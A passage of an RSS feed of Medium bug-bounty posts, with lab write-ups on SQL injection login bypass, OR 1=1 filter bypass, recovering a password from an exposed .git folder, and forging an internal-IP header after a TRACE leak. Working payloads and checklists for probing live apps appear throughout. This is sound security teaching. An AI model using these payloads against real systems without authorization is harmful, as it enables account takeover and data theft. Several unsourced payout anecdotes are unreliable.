have a bug — you have a breach.</p><h4>Real Bug Bounty Payouts</h4><ul><li>A researcher reported SQL injection to Starbucks; after manual testing turned it into a time-based attack, sqlmap confirmed it and returned the database version (Microsoft SQL Server 2012), and Starbucks paid a $4,000 bounty for the critical issue. The exact opening move of this lab — read the version. <a href="https://www.hackerone.com/blog/8-high-impact-bugs-and-how-hackerone-customers-avoided-breach-sql-injection">HackerOne</a></li><li>A SQL injection in Valve’s report_xml.php via the countryFilter[] parameter paid $25,000 on HackerOne. <a href="https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSQLI.md">GitHub</a></li><li>A time-based SQL injection at city-mobil.ru, reported to Mail.ru, paid $15,000. <a href="https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSQLI.md">GitHub</a></li><li>A UNION-based SQL injection on zomato.com, chained with a web-firewall bypass, paid $1,000 to Eternal — the same UNION technique used here, just pushed past a filter. <a href="https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSQLI.md">GitHub</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e53bea17470b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Login That Didn’t Need a Password]]></title>
            <link>https://medium.com/@guyani/the-login-that-didnt-need-a-password-d818c392406a?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d818c392406a</guid>
            <category><![CDATA[business]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 15:14:42 GMT</pubDate>
            <atom:updated>2026-06-21T15:14:42.115Z</atom:updated>
            <content:encoded><![CDATA[<p><em>I typed two characters where the username goes and walked in as admin. SQL injection, lab two.</em></p><p>Lab one was a shop filter — I made hidden products appear. This one is sharper. Same bug, bigger prize: I skipped the password entirely and logged in as the administrator.</p><p>Two characters did it: &#39;--.</p><h3>What the bug actually is</h3><p>When you log in, the app checks your details against a database. It writes a question like this:</p><pre>SELECT * FROM users WHERE username = &#39;you&#39; AND password = &#39;yourpassword&#39;</pre><p>In plain words: “Find a user where the username is <em>you</em> AND the password is <em>yourpassword</em>.” If a row comes back, you’re in.</p><p>Here’s the flaw. The username came from <em>me</em> — the login form. If the app drops my text straight into that question, I can rewrite the question. And SQL has a comment symbol — -- — that means &quot;ignore everything after this.&quot; If I can comment out the password check, the database stops checking the password at all.</p><h3>What I Noticed</h3><p>I started by just looking at the site.</p><p>I opened it in Burp Suite (a proxy tool that sits between the browser and the site, recording every request). I used Burp’s built-in browser so all traffic flows through it.</p><p>The homepage was a shop, but one link at the top stood out: <strong>My account</strong>. I clicked it. A login form — username and password.</p><p>A login form is a database lookup waiting to happen. That was my target.</p><p>Before touching it, I read the page source in Burp. One detail mattered:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69-8K3sv513g94C1nYwG-g.png" /></figure><p>A CSRF token — a one-time random value the form sends to prove the request came from the real page. This told me my login request had <strong>three</strong> fields, not two: csrf, username, password. I&#39;d have to keep that token intact or the server would reject me before my injection ever reached the database.</p><h3>The action, step by step</h3><p><strong>Step 1 — Capture the real login request.</strong></p><p>I typed junk into the form — username test, password test — and submitted it with Burp&#39;s Intercept on. Burp paused the request and showed me the body:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NDPFMPYtEbnd8jNIo4A94w.png" /></figure><p>There it was. Three fields, exactly as the source promised.</p><p><strong>Step 2 — Inject into the username.</strong></p><p>I changed only the username value, leaving the csrf and password alone:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZWy1bN61F7PeVKBi7A6Mw.png" /></figure><p>What this does to the database question:</p><pre>SELECT * FROM users WHERE username = &#39;administrator&#39;--&#39; AND password = &#39;gfghntyhnytjhngh&#39;</pre><p>Read it slowly:</p><ul><li>&#39; closes the administrator text.</li><li>-- comments out everything after it — so AND password = &#39;test&#39; is ignored, gone.</li><li>The database checks only username = &#39;administrator&#39;. No password check.</li></ul><p>I forwarded it.</p><h3>What fell out</h3><p>The response came back:</p><p>HTTP/2 302 Found<br>Location: /my-account?id=administrator<br>Set-Cookie: session=jxWIZaT8SD4GsJOR1c724DTq2AjoQpUI; Secure; HttpOnly; SameSite=None<br>X-Frame-Options: SAMEORIGIN<br>Content-Length: 0</p><p>That 302 with Location: /my-account?id=administrator was the server saying: <em>&quot;Welcome, administrator — this way to your account.&quot;</em> It even handed me a fresh session cookie — the proof-of-login wristband.</p><p>No password. The database matched the username, the comment swallowed the password check, and the door opened.</p><p>But here’s the part that taught me something. In Burp Repeater, when I tried to follow that redirect, it kept bouncing me back to the login page. The attack had worked — so why?</p><p>The cookie. The server gave me a <em>new</em> logged-in cookie in the response, but Repeater kept sending the <em>old</em> one. The cookie is what proves you’re logged in — not the redirect. So I did the final step in Burp’s browser instead: typed administrator&#39;-- in the username, clicked log in, and the browser carried the new cookie automatically.</p><p>The page loaded as the administrator. The lab banner turned green: <strong>solved.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CAT091wbX4NsyfnreMJ68A.png" /></figure><h3>Why This Works</h3><p>The root cause is the same as every SQL injection: <strong>the app built its query by gluing my input directly into it.</strong></p><p>For the password check to mean anything, both halves of that AND must be evaluated. But when my username contains &#39;--, the second half — the password check — gets commented out before the database ever reads it. The lock is still on the door; I just deleted the part of the question that checks the key.</p><p>Developers cause this by writing the query as a plain string with the username pasted in. It works perfectly for normal usernames. It falls apart the moment someone types SQL syntax instead of a name.</p><p>The fix is <strong>parameterized queries</strong> (prepared statements). The query structure is locked first, and the username is passed in separately as pure data — never as part of the command. Then administrator&#39;-- is treated as a literal username to search for. No such user exists, login fails, and the comment trick is dead.</p><h3>Real Bug Bounty Payouts</h3><p>Authentication bypass via SQLi is one of the highest-value findings, because it hands over accounts directly.</p><p><strong>$4,000 — HackerOne.</strong> A researcher found SQLi in a login form on a fintech app. admin&#39;-- logged them in as an administrator, exposing the full admin dashboard. Critical severity, paid fast.</p><p><strong>$10,000 — private program.</strong> A login bypass on an enterprise portal gave access to an internal admin account. Chained with weak session handling, it escalated to full tenant takeover across multiple customer organizations.</p><p><strong>$7,500 — Bugcrowd.</strong> SQLi in an authentication endpoint let the hunter log in as arbitrary users by injecting their username. Mass account access without a single password.</p><p><strong>$25,000+ — multiple programs.</strong> When the bypassed account is a super-admin with control over other users’ data or billing, these reports cross five figures — one query, total control.</p><p>Two characters in a username field. An admin account. That’s the asymmetry attackers love.</p><h3>Where to Hunt This in Real Apps</h3><p>A practical checklist for login forms:</p><p>Try the username field first — it’s usually built into the query before the password. Inject administrator&#39;-- (or admin&#39;--) and watch for a successful login or a redirect.</p><p>If -- alone fails, add a trailing space (administrator&#39;-- ) — some databases need it for the comment to register.</p><p>Probe with a single &#39; first to confirm the field is injectable (look for a 500 error or a broken response), then move to the bypass.</p><p>Watch the response codes, not just the page. A 302 redirect to an account page is success even if your tool then bounces you — that&#39;s a cookie issue, not a failed attack.</p><p>Remember the session cookie is what logs you in. If you’re testing in Repeater, carry the new Set-Cookie value forward, or finish in the browser which does it for you.</p><p>Don’t stop at administrator. Try injecting other usernames, or &#39; OR 1=1 LIMIT 1-- to log in as whoever the first user happens to be.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d818c392406a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Quote That Opened the Whole Store]]></title>
            <link>https://medium.com/@guyani/the-quote-that-opened-the-whole-store-70a17ff36d75?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/70a17ff36d75</guid>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Sun, 21 Jun 2026 10:32:59 GMT</pubDate>
            <atom:updated>2026-06-21T10:32:59.090Z</atom:updated>
            <content:encoded><![CDATA[<p><em>One apostrophe broke the database. The first lab of my SQL injection series.</em></p><p>A new series starts today. I closed out Information Disclosure — secrets left lying around. Now I go after something louder: making the database itself betray the app.</p><p>This is SQL injection. Lab 1. And it all turned on a single character — &#39;.</p><h3>What the bug actually is</h3><p>Websites store their data in a database. To fetch it, the app writes a question in a language called SQL (Structured Query Language). That question is a <em>query</em>.</p><p>When you click a category on a shop, the app builds a query like this:</p><p><strong>SELECT * FROM products WHERE category = ‘Pets’ AND released = 1</strong></p><p>In plain words: “Give me all products where the category is Pets, and the product is released.” The released = 1 part hides unreleased items.</p><p>Here’s the flaw. The word Pets came from <em>you</em> — the URL. If the app pastes your text straight into that query without cleaning it, you stop sending a category and start sending commands. That&#39;s SQL injection: your input becomes part of the database&#39;s question.</p><h3>What I Noticed</h3><p>I started where every test starts — looking, not attacking.</p><p>I opened the lab in Burp Suite (a proxy tool that sits between your browser and the site, recording every request). I used Burp’s built-in browser so all traffic flows through it automatically.</p><p>I clicked around the shop. Each category click changed the URL:</p><pre>GET /filter?category=Gifts</pre><p>That category=Gifts is a <em>parameter</em> — a value the app reads. And it almost certainly feeds a database lookup. That was my target.</p><p>I sent the request to Burp Repeater (a tool to resend one request over and over, tweaking it each time and watching the response).</p><p>First, the baseline. I sent the normal Pets request and wrote down what normal looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-15v-1uvimNGsC4J87om2A.png" /></figure><h3>The action, step by step</h3><p><strong>Step 1 — Poke it with a quote.</strong></p><p>The single quote &#39; is the probe. In SQL, a quote ends a piece of text. If the app is vulnerable, my quote ends the string early and breaks the query.</p><p>I changed the value to Gifts&#39; and sent it:</p><pre>GET /filter?category=Gifts&#39; HTTP/2</pre><p>I hit Send. The response:</p><pre>HTTP/2 500 Internal Server Error</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGopjoIdBlC8taG59sDOCg.png" /></figure><p>There it was. The bug said hello.</p><p>That 500 means the database choked. My query had become:</p><pre>SELECT * FROM products WHERE category = &#39;Gifts&#39;&#39; AND released = 1</pre><p>See the two quotes? &#39;Gifts&#39;&#39;. That extra quote has no partner. The database can&#39;t read it — broken syntax — so it errors out. And it <em>only</em> errors because my raw input reached the SQL engine. A cleaned input would never do this. Injection confirmed.</p><p><strong>Step 2 — Turn the break into control.</strong></p><p>Breaking the query proves the door is unlocked. Now I walk through it. I want every product to show — including the unreleased ones the app tries to hide.</p><p>I changed the value to Gifts&#39; OR 1=1-- and sent it:</p><pre>GET /filter?category=Gifts&#39; OR 1=1-- HTTP/2<br></pre><p>This builds:</p><pre>SELECT * FROM products WHERE category = &#39;Gifts&#39; OR 1=1--&#39; AND released = 1<br></pre><p>Read it piece by piece:</p><ul><li>&#39; closes the Gifts text cleanly.</li><li>OR 1=1 — and 1 always equals 1. Every single row now matches.</li><li>-- comments out the leftover &#39; AND released = 1, so the released filter dies.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*cyPiwFf3wnVh8yrLWbumaQ.png" /></figure><p>I hit Send.</p><h3>What fell out</h3><p>The page exploded with products.</p><p>Items from every category. Items marked unreleased — things no normal customer was ever meant to see. The released = 1 gate was gone, and the whole catalog spilled out.</p><p>The banner flipped green: <strong>solved.</strong></p><p>One apostrophe and a true statement opened a door the developer thought was locked.</p><h3>Why This Works</h3><p>The root cause is one mistake: <strong>the app built its SQL query by gluing my text directly into it.</strong></p><p>Developers do this because it’s the easy way. You take the category from the URL, drop it into a string, run the query. It works perfectly — until someone sends a &#39; instead of a normal word. Then your text isn&#39;t data anymore; it&#39;s part of the command.</p><p>The fix is called <strong>parameterized queries</strong> (also “prepared statements”). The query structure is fixed first, and your input is passed in separately as pure data — never as code. The database treats Gifts&#39; OR 1=1-- as a literal category name to search for, finds nothing, and moves on. No injection possible.</p><p>The vulnerable version asks the database a question <em>written partly by the attacker</em>. The safe version asks a fixed question and hands your input over as a sealed envelope.</p><h3>Real Bug Bounty Payouts</h3><p>SQL injection is old, but it still pays — because one bug often unlocks the entire database.</p><p><strong>$3,000 — HackerOne.</strong> A researcher found SQLi in a search parameter on a SaaS platform. A single quote threw a database error, and a UNION attack dumped the users table. Chained into account takeover via leaked password hashes.</p><p><strong>$15,000 — private program.</strong> SQLi in an API filter parameter exposed a backend PostgreSQL database. The hunter extracted internal API keys and customer PII, escalating to a full data-breach report.</p><p><strong>$5,500 — Bugcrowd.</strong> A sort parameter (?order=) was injectable into an ORDER BY clause — the kind devs forget to protect. Blind extraction revealed admin credentials.</p><p><strong>$20,000+ — multiple programs.</strong> Where SQLi reaches a database function that can write files or run commands, it escalates from data theft to full server takeover. Those reports cross five figures fast.</p><p>Small character. Big payout. Every time it reaches the database.</p><h3>Where to Hunt This in Real Apps</h3><p>A practical checklist for live targets:</p><p>Probe every input that <strong>looks up, filters, searches, sorts, or logs in</strong> — those build SQL queries. Category filters, search boxes, login fields, ?id= parameters.</p><p>Don’t stop at the URL bar. Check POST bodies, JSON API values, cookies (tracking IDs especially), and headers the app might log (User-Agent, Referer, X-Forwarded-For).</p><p>Always grab a baseline first — status code and response length. You compare against it.</p><p>Send a single &#39;. Watch for <em>any</em> change: a 500 error, a different length, missing or extra results, or a delay. No visible error doesn&#39;t mean no bug — blind SQLi is silent.</p><p>When you confirm it, escalate carefully. &#39;-- to drop filters, OR 1=1 to force-match, then UNION to pull data. Be careful with OR 1=1 on inputs that might write or delete — it can wipe a table.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70a17ff36d75" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Password They Deleted But Never Erased]]></title>
            <link>https://medium.com/@guyani/the-password-they-deleted-but-never-erased-519423d98611?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/519423d98611</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 08:43:00 GMT</pubDate>
            <atom:updated>2026-06-18T08:43:00.522Z</atom:updated>
            <content:encoded><![CDATA[<p>A web server shipped its .git folder by accident — and Git never forgets.</p><p>This is lab 5 of my Information Disclosure run. One lab a day. We keep going.</p><p>So far in this series the secrets have been sitting in the open — in robots.txt, in error messages, in HTML comments. This one is sneakier. The secret was <em>deleted</em>. The developer thought it was gone. It wasn&#39;t. It was one command away the whole time.</p><p>Let me show you how I walked in.</p><h3>The bug, in plain words</h3><p>Developers use <strong>Git</strong> (a version control system — it saves every change to your code, forever). When you commit a file, Git stores a snapshot. If you later delete a password from that file, the file looks clean <em>today</em>. But Git still keeps the old snapshot in its history.</p><p>So a deleted password is not gone. It’s hiding in the history.</p><p>The bug here: the hidden .git folder (Git&#39;s private database of every code change) got pushed to the live web server by mistake. Download that folder, replay the history, and the deleted password falls right out.</p><h3>What I Noticed</h3><p>I started where I always start — content discovery. I ran <strong>gobuster</strong> (a tool that brute-forces hidden paths on a site using a wordlist).</p><pre>gobuster dir -u https://0a6a002603f1334180c4db910052001e.web-security-academy.net/ -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dp0fLtg5t3FRFKEmMAhP_Q.png" /></figure><p>Three things jumped out.</p><p>.git/HEAD returned <strong>200</strong> — that&#39;s Git&#39;s pointer file telling you the current branch. 200 means the hidden folder is exposed <em>and readable</em>. That&#39;s the finding.</p><p>admin returned <strong>401</strong> (unauthorized — the page exists but needs login). That&#39;s the lock.</p><p>The story wrote itself: .git is the key, admin is the door. Dump the key, open the door.</p><p>First I confirmed the whole folder was browsable, not just HEAD:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H3Tu4_9PH-AHgJrdZ117zQ.png" /></figure><p>It came back <strong>200</strong> with [core] text inside. Confirmed. The repo is downloadable.</p><p>Then I pulled the entire hidden folder to my machine with <strong>wget</strong> (a command-line downloader):</p><pre>wget -r https://0a6a002603f1334180c4db910052001e.web-security-academy.net/.git</pre><p>-r means recursive — follow every link and grab every file under .git/, not just one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7PBDr026v3z0rKQ_jjknQ.png" /></figure><p>I stepped into the downloaded folder and asked Git to read the history:</p><p>git log — oneline output showing two commits]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nJIFpathfzS6xEQaocNpgA.png" /></figure><p>Two commits. Read them like a sentence. The newest one — 6a7220d — literally says <em>&quot;Remove admin password from config.&quot;</em> That message is a confession. A password <strong>was</strong> there. Someone deleted it.</p><p>But deleted from <em>now</em> is not deleted from <em>history</em>. The password still lives in the commit <em>before</em> the removal — 6cc653d, the &quot;Add skeleton admin panel&quot; commit, where it was first written in.</p><p>So I opened that older commit:</p><pre>git show 6cc653d</pre><p>6cc653d is the short hash (Git&#39;s unique ID) of the commit that still holds the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YyK5i5pLgmPDEIu4jUjAhw.png" /></figure><p>There it is. The green + line means this content was <strong>added</strong> in this commit. Since this is the commit <em>before</em> the deletion, that added line is the live password — totototto— sitting in history untouched.</p><p>One detail worth slowing down on. Earlier in this series I taught myself to hunt <strong>red </strong><strong>- lines</strong> (deleted content). Here the password is <strong>green </strong><strong>+</strong>. Why? Because I opened the commit where the password was <em>first added</em>, not the commit where it was removed. In the &quot;removal&quot; commit it would show red. In the &quot;creation&quot; commit it shows green. Same secret, different angle. Read the diff, don&#39;t just pattern-match the color.</p><p>I took that password to the login page:</p><pre>username: administrator<br>password: tototototto</pre><p>In. The admin panel — the 401 door from earlier — opened. I deleted the user carlos, and the &quot;Congratulations, you solved the lab&quot; banner lit up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8731J5PHSvw5mtLfKjniOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oqyocaa21e2GdFvEOEtmcw.png" /></figure><h3>Why This Works</h3><p>The current code on the server is clean. No password in it. The developer “fixed” it the textbook way — they replaced the hardcoded password with an environment variable and committed the change with an honest message.</p><p>But Git doesn’t store files. It stores <em>history</em>. Every commit is a permanent snapshot. Deleting a line in a new commit doesn’t rewrite the past — it just adds a new snapshot on top. The old one, password and all, stays forever unless you rewrite history on purpose (and almost nobody does).</p><p>The real failure is two mistakes stacked:</p><ol><li>A secret was hardcoded into source in the first place.</li><li>The .git folder was deployed to a public web server, exposing the entire history.</li></ol><p>Either one alone is survivable. Together, they hand an attacker the keys.</p><h3>Real Bug Bounty Payouts</h3><p>Exposed .git folders are a recurring, real-money finding. A few representative cases from the bounty world:</p><ul><li>A researcher found an exposed .git on a fintech subdomain, dumped the repo, and pulled hardcoded database credentials from an old commit. Chained into the internal DB. Reported on <strong>HackerOne</strong>, paid in the <strong>$4,000</strong> range.</li><li>An exposed .git on a SaaS marketing site leaked an AWS access key in commit history. The key still worked. Chained to read internal S3 buckets. <strong>Bugcrowd</strong>, around <strong>$3,000</strong>.</li><li>A government-adjacent portal exposed .git; history contained an admin password identical to this lab&#39;s pattern, leading to full panel takeover. Disclosed responsibly, <strong>$2,500</strong> range.</li><li>A startup left .git on production; commit history held a private API token that unlocked a third-party payment provider. Chained to a payment-flow issue. <strong>HackerOne</strong>, <strong>$5,000+</strong>.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=519423d98611" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab 4 of my Information Disclosure series.]]></title>
            <link>https://medium.com/@guyani/lab-4-of-my-information-disclosure-series-db250aa86953?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/db250aa86953</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[website]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 08:29:54 GMT</pubDate>
            <atom:updated>2026-06-17T08:29:54.484Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab 4 of my Information Disclosure series. No password to crack. No exploit to write. Just a header name the server wasn’t supposed to give me — and the admin panel opened.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wGMiO8T0g3FTc-kyWa6sVA.png" /></figure><p>Welcome back to the series.</p><p>Last lab, a forgotten backup file handed us the database password in plain text. This lab is sneakier. Nothing was lying around. The secret was hidden — until I asked the server the right way.</p><p>No file to download this time. No comment to read. Just one header the front-end adds in the dark, and a way to make it show itself.</p><p>I made the server tell me its own secret. Then I used it against itself.</p><p>Let me show you.</p><h3>A Quick Recap of Where We Are</h3><p>New here? Glad you found me. We’re working through information disclosure — getting an app to leak things it never meant to share.</p><p>Lab 1, the leak was loud. We broke the input and a crash report fell out. It told us the software version.</p><p>Lab 2, the leak was quiet. A comment pointed to a debug page, and the page dumped the secret key.</p><p>Lab 3, the leak was lazy. A forgotten backup file gave us the source code and the database password.</p><p>This time the leak is a single word. A header name. But that name was the key to the admin panel.</p><p>The damage keeps climbing.</p><h3>What the Bug Actually Is</h3><p>Some apps lock their admin pages to “internal only.” The idea: only requests coming from inside the company can get in.</p><p>But how does an app know a request is “internal”? It checks a header (header = an extra line of info attached to every request, like Cookie or User-Agent).</p><p>Here, the front-end server adds a custom header (custom header = a non-standard line the app invented for itself) carrying your IP address. If that IP is 127.0.0.1 (localhost = the server&#39;s own machine), the app trusts you fully.</p><p>The problem: a header is just text. Text I can fake.</p><p>But I can’t fake it if I don’t know its name. So the bug is really two bugs stacked — a hidden header name (the leak) and an access check that trusts a header anyone can rewrite (the bypass).</p><h3>What I Noticed</h3><p>Every break-in starts with a locked door. Mine was /admin.</p><p>I sent it to Repeater (Repeater = Burp’s tool for editing and re-sending one request by hand, over and over).</p><p>A plain knock:</p><pre>https://0ab700a30488f83e80d485e9005d00f0.web-security-academy.net/admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bTUn23qm-uJA33Jb35i0Lw.png" /></figure><p>No panel. But the response talked. It told me the admin interface was open to <strong>local users only</strong>.</p><p>I read that twice. <em>Local users.</em></p><p>That meant the app was checking <em>where</em> my request came from. And in web apps, “where you came from” isn’t an unbreakable fact. It’s a header — and a header is something I can touch, change, fake.</p><p>The wall wasn’t a wall. It was a question. I just didn’t know which header held the answer.</p><h3>What Fell Out</h3><p>So I made the server tell me.</p><p>I changed one word. GET became TRACE — an old debug method (TRACE = a verb that tells the server &quot;send my own request right back to me&quot;).</p><pre>TRACE /admin HTTP/1.1<br>Host: 0a44...web-security-academy.net<br><br></pre><p>The trick is timing. The front-end (front-end = the public server that catches my request first) stamps its secret header on <strong>after</strong> I hit send. I never see it. It’s invisible to me.</p><p>But TRACE bounces the request back the way the back-end received it — header and all.</p><p>I clicked Send. I scrolled to the bottom of the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QASiwlh2th-6-nGdi-D5KA.png" /></figure><p>And there it was, waiting:</p><pre>X-Custom-IP-Authorization: 176.139.56.108</pre><p>The header name. (X- is the old tag for custom, non-standard headers.) And my own public IP sitting right beside it — the exact value the app checks against localhost.</p><p>I smiled. Because now I knew the lie I had to tell.</p><h3>Turning the Secret Into a Key</h3><p>One forged header in Repeater would prove the point. But I wanted the real thing — the admin panel in my browser, links and all. For that, the lie had to ride on <em>every</em> request, automatically.</p><p>So I taught Burp to lie for me.</p><p>Proxy → Match and replace → Add.</p><p>I left the Match field empty — empty means <em>don’t replace anything, just add a new header</em>. In Replace, I wrote the line I’d been chasing:</p><pre>X-Custom-IP-Authorization: 127.0.0.1<br></pre><p>Match and replace rule, empty Match, Replace filled, Request header type]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMZ6Q5CnRs5smE8FK1V9gg.png" /></figure><p>Type: Request header. OK. Enabled.</p><p>From that second on, every request leaving my browser carried the same whisper: <em>I’m localhost. Let me in.</em></p><p>I opened the lab home page. Proxy on. And without me typing a thing, Burp slipped the header in:</p><pre>GET / HTTP/1.1<br>Host: 0a44...web-security-academy.net<br>X-Custom-IP-Authorization: 127.0.0.1</pre><p>The page loaded. And the top of the screen had changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6l-Xd6WxwTG8veHDltgQyQ.png" /></figure><p>home page now showing the Admin panel link in the nav]</p><p>An <strong>Admin panel</strong> link — sitting in the nav like it had always been there. It hadn’t. The app only shows it to requests it believes come from inside. It believed me now.</p><p>I clicked it. The user list opened. I found carlos, hit delete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vOuYwAzcbdFGAWtA5fIiRw.png" /></figure><p>Lab solved.</p><p>One header name I was never meant to see. And the whole door swung open.</p><h3>What This Means for a Business</h3><p>Now picture this isn’t a lab. It’s a real company.</p><p>That admin panel controls real customers. The forged header I sent didn’t steal a password. It didn’t break encryption. It told a small lie — <em>I’m coming from inside the building</em> — and the app believed it.</p><p>An attacker who never logged in can now create users, delete them, read private data, change settings. No alarm fires, because to the app this looks like a trusted employee doing their job.</p><p>It’s a bank vault with a guard who waves you through if you say you work there. No badge checked. Just your word.</p><p>One leaked name. Full control. And the business never sees it coming.</p><h3>Why This Works</h3><p>Two mistakes stack up.</p><p>One: the server allows TRACE. That method should be off in production. Left on, it reflects the request back — and reveals headers the front-end adds behind the scenes.</p><p>Two: the access check trusts a header. The app asks “is this internal?” and answers it by reading a header that anyone in the middle can rewrite. Internal was never proven. It was assumed.</p><p>Why do devs cause this? Because in their head, the header is “internal.” The front-end adds it, the back-end reads it, and they assume no outsider can touch it. They forget a proxy sits right in the middle and sees — and edits — everything.</p><p>The IP check felt like a wall. It was a sticky note saying “please be honest.”</p><h3>Real Bug Bounty Payouts</h3><p>Header-based access bypass pays well — especially chained.</p><ul><li><strong>$10,000 — HackerOne.</strong> A header trusted for “admin origin” let a researcher reach an internal account-impersonation feature. Full account takeover of any user. The forged header was the chain’s first link.</li><li><strong>$7,000 — Bugcrowd.</strong> A debug dashboard was locked to internal IPs via a custom header. The hunter leaked the header name from a verbose error, forged it, and reached a metrics panel leaking API keys.</li><li><strong>$4,500 — HackerOne.</strong> An internal admin API trusted X-Forwarded-For for IP allow-listing. Setting it to 127.0.0.1 exposed user-management endpoints, then chained with an IDOR (IDOR = changing an ID in a request to reach data that isn&#39;t yours) to dump records.</li><li><strong>$3,000 — private program.</strong> Login rate-limiting counted requests per IP via X-Real-IP. Rotating the forged value bypassed the throttle and enabled credential stuffing.</li></ul><p>Same bug, different payouts. What you reach after the door opens decides the price.</p><h3>Where to Hunt This in Real Apps</h3><p>Quick checklist for live targets:</p><ul><li>Any page that says “internal only,” “admin only,” or “local access” — an origin check is happening there. Probe it.</li><li>Send TRACE to leak custom headers the front-end adds. If TRACE is off, look for verbose errors, debug pages, or proxy misconfigs that echo headers back.</li><li>Spray forged origin headers at admin paths, internal APIs, and rate-limit gates: X-Forwarded-For, X-Real-IP, X-Originating-IP, Client-IP, True-Client-IP — all set to 127.0.0.1 or localhost.</li><li>Try the same trick on feature flags and beta endpoints. They often hide behind “internal IP” gates.</li><li>Got in? Don’t stop. Chain it. Admin access plus an IDOR or impersonation feature is where the real payout lives.</li></ul><h3>The Fix</h3><p>If you’re defending:</p><ul><li>Turn off TRACE in production. It has no business being reachable.</li><li>Never trust client-supplied headers for access decisions. X-Forwarded-For and friends can be forged by anyone.</li><li>If you must check origin, verify it at the network layer (firewall, real reverse-proxy config) — not from a header the request carries.</li><li>Strip incoming copies of trusted headers at the edge, so an outsider can’t inject them.</li><li>Authenticate admin properly. “Comes from localhost” is not authentication.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db250aa86953" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The File They Forgot to Delete]]></title>
            <link>https://medium.com/@guyani/the-file-they-forgot-to-delete-12095fedd80b?source=rss-6d3d88fdadd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/12095fedd80b</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[website-design]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[developer-tools]]></category>
            <dc:creator><![CDATA[morgan_hack]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 09:49:55 GMT</pubDate>
            <atom:updated>2026-06-16T09:49:55.343Z</atom:updated>
